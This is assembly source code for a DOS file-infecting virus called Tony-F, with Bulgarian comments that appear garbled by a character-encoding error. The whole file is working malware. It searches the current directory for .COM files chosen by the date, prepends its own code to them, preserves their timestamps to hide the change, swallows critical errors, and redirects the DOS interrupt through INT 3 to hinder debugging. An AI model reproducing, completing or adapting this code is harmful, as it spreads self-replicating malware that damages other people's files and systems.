;------------------------------------------------------------------------------;
;                                                                              ;
;                               Ви░│▒ Tony-F                                   ;
;                                                                              ;
;  Tony_F е па░ази▓ен ви░│▒,дей▒▓вие▓о м│ ▒е ▒║▒▓ой в ▒ледно▓о - п░и ▒▓а░▓и░ане;
; на за░азен ┤айл ви░│▒║▓ п░е▓║░▒ва ╢┐ла▓а ▓ек│╣а ди░ек▓о░и┐ и за░аз┐ва в▒и╖ки ;
; ┤айлове о▓гова░┐╣и на ?*.COM, ка▓о ? зави▒и о▓ да▓а▓а.                       ;
;  Tony-F ▒е на▒▓ан┐ва п░еди кода на за░азени┐ ┤айл, ви░│▒║▓ о░ганизи░а        ;
; ▒об▒▓вена п░о╢ед│░а за об░або▓ка на к░и▓и╖ни г░е╕ки (век▓о░ 24h) и не п░омен┐;
; да▓а▓а и ╖а▒а на за░┐зани▓е ┤айлове.                                         ;
;  Tony-F нами░а о░игинални┐ ад░е▒ на век▓о░ 21h и го по▒▓ав┐ в ▓абли╢а▓а на    ;
; п░ек║▒вани┐▓а ка▓о век▓о░ 3, ▓ази опе░а╢и┐ п░е╖и на евен▓│ално ▓░а▒и░ане на  ;
; ви░│▒а ▒ деб│ге░.                                                            ;
;------------------------------------------------------------------------------;

; а▒ембли░ай▓е ▒ Turbo Assembler 2.0+

        .model Tiny
        .code


VirLen  =       offset EndCode - offset Start           ; Д║лжина на ви░│▒а.

;-----------------------------------------------------------------------------;

        Org     07Fh

INT24   db      ?                       ; Т│к ╣е б║де на▒о╖ен век▓о░ 24h.


        Org     0100h

NewDTA  db      15h dup (?)             ; С▓░│к▓│░а на DTA.
FAttr   db      ?
FTime   dw      ?
FDate   dw      ?
FLen    dw      ?, ?
FName   db      0Dh dup (?)

;-----------------------------------------------------------------------------;

        Org     100h

Start:
        push    ax                      ; Запазва ▒║д║░жание▓о на AX.

;...... Т│к запо╖ва ▓║░▒ене▓о на о░игинални┐ век▓о░ 21h в ▒егмен▓а на ДОС

        mov     ax,1203h
        int     2Fh                     ; П░о╖и▓а ▒е ▒егмен▓а на ДОС.

        xor     si,si                   ; О░игинални┐ век▓о░ ▒е ▓║░▒и по п║░ви▓е
Again:                                  ; ▓░и бай▓а - 2Еh,3Аh и 26h.
        lodsw
        cmp     ax,3A2Eh
        je      NextByte
        dec     si
        jnz     Again
        jmp     Done
NextByte:
        lodsb
        cmp     al,26h
        jne     Again
Found:
        sub     si,03

        mov     dx,si
        mov     ax,2503H                ; век▓о░ 21h ▒е по▒▓ав┐ на м┐▒▓о▓о на
        Int     21h                     ; век▓о░ 3.

        push    cs                      ; в║з▒▓анов┐ва ▒е ▒▓ойно▒▓▓а на DS.
        pop     ds

;...... П░ена▒о╖ване на век▓о░а за к░и▓и╖ни г░е╕ки

        mov     INT24,0CFh              ; С║здава нов век▓о░ 24h - Iret
        mov     ax,2524h
        mov     dx,offset INT24
        Int 3                           ; П░ена▒о╖ва век▓о░а 24h.


        mov     ax,cs
        add     ah,10h
        mov     es,ax                   ; ES = CS + 64 KBytes
        mov     si,offset Start
        xor     di,di
        mov     cx,si                   ; П░е╡в║░л┐ кода на ви░│▒а 64KBytes
        rep     movsb                   ; по-наго░е в паме▓▓а.

        mov     dx,offset NewDTA        ; По▒▓ав┐ DTA на нов ад░е▒.
        mov     ah,1Ah
        Int 3

        mov     ah,2Ah
        Int 3                         ; И▒ка о▓ ДОС да▓а▓а,
        add     dl,'A'                  ; и о▓ не┐ ▒е пол│╖ава п║░ва▓а б│ква
        mov     AllCom ,dl              ; на ┤айлове▓е за за░аз┐ване.

;...... Запо╖ва ▓║░▒ене на ┤айлове за за░аз┐ване.

        mov     dx, offset AllCom       ; Т║░▒и в▒и╖ки '?*.COM' ┤айлове.
        mov     cl,110B
        mov     ah,4Eh                  ; Извиква Find First.
        Int 3
        jc      Done                    ; П░од║лжава на▓а▓║к п░и лип▒а на
                                        ; ┤айлове за за░аз┐ване.
FindNext:
        mov     dx,offset Fname         ; В dx ад░е▒а на име▓о на ┤айла о▓ DTA.
        mov     ax,3D02h                ; О▓ва░┐ ┤айла за запи▒/╖е▓ене.
        Int 3

        mov     bx,ax                   ; Запазва номе░а на о▓во░ени┐ ┤айл.
        push    ds                      ; Запазва DS.
        push    es
        pop     ds                      ; DS = CS + 64 KBytes.

        mov     dx,VirLen               ; DX = д║лжина▓а на ви░│▒а .
        mov     cx,-1                   ; П░о╖и▓а ▒е ╢ели┐ ┤айл на ад░е▒ - DS:DX .
        mov     ah,3Fh                  ; Там ▒е нами░а ви░│▒а,а ▒ега ▒лед него
        Int 3                           ; и ┤айл║▓.

                                        ; Увели╖ава д║лжина▓а на ┤айла(AX) ▒
        add     ax,Virlen               ; д║лжина▓а на ви░│▒а.
        jc      Close                   ; П░и п░еп║лване ┤айл║▓ не ▒е за░аз┐ва.

        cmp     Byte ptr ds:[ Mark + VirLen -100h ],'T'         ; Дали ┤айл║▓ е за░азен ве╖е ?
        je      Close

        push    ax                      ; Запазва д║лжина▓а на ┤айла в ▒▓ека.

        xor     cx,cx
        xor     dx,dx
        mov     ax,4200h                ; П░еме▒▓ва ▒е │каза▓ел┐ на ┤айла(CX:DX)
        Int 3                           ; в на╖ало▓о м│.

        pop     cx                      ; П░о╖и▓а д║лжина▓а на ┤айла о▓ ▒▓ека.
                                        ; DX е ░авно на 0 о▓ Fn 42.
        mov     ah,40h                  ; О▓ ад░е▒а DS:DX ▒е запи▒ва на ди▒ка
        Int 3                           ; ви░│▒ + ┤айл.

        mov     cx,cs:FTime
        mov     dx,cs:FDate             ; В║з▒▓анов┐ва▓ ▒е да▓а▓а и в░еме▓о на
        mov     ax,5701h                ; за░аз┐вани┐ ┤айл о▓ DTA.
        Int 3

Close:
        pop     ds                      ; В║з▒▓анов┐ва DS.

        mov     ah,3Eh                  ; За▓ва░┐ ┤айла.
        Int 3

        mov     ah,4Fh
        Int 3                           ; Извиква Find Next,
        jnc     FindNext                ; ако има о╣е ┤айлове в▒и╖ко ▒е пов▓а░┐
                                        ; и за ▓┐╡.


;....... На╖ало на ▒▓а░▓и░ане на п░ог░ама▓а к║м ко┐▓о е зака╖ен ви░│▒а.

Done:
        mov     dx,80h
        mov     ah,1Ah
        Int 3                           ; В║з▒▓анов┐ва ▒е ▒▓а░и┐ ад░е▒ на DTA.


        push    es
        mov     ax,offset TransF -100h  ; П░едава │п░авление▓о на ви░│▒а
        push    ax                      ; кой▓о е 64 KBytes по-наго░е
        RETF                            ; о▓ е▓ике▓ TransF.

;........................................
                                        ; Ма░ки░овка за ░азпознаване на за░азени
Mark    db      'Tony'                  ; ┤айлове.
AllCom  db      '+'                     ;
        db      '*.COM',0               ; Ма▒ка за ▓║░▒ене на в▒и╖ки ┤айлове
;.......................................; за за░аз┐ване.

TRansF:
        push    ds
        pop     es

        pop     ax                      ; В║з▒▓анов┐ва ▒║д║░жание▓о на AX.

        mov     si,offset EndCode       ; См║ква кода на п░ог░ама▓а запо╖ва╣
        mov     di,offset Start         ; непо▒░ед▒▓вено ▒лед ви░│▒а ▒ 100h бай▓а надол│.
        push    ds                      ; Подго▓в┐ ад░е▒а в ▒▓ека за п░е╡ода
        push    di                      ; к║м на╖ало▓о на о░игинална▓а п░ог░ама.
        mov     cx,0FFF0h -102h -Virlen
        rep     movsb

        RETF

;-----------------------------------------------------------------------------;

EndCode:
        Ret                             ; О▓ ▓│к запо╖ва за░азена▓а п░ог░ама

;-----------------------------------------------------------------------------;

End     Start
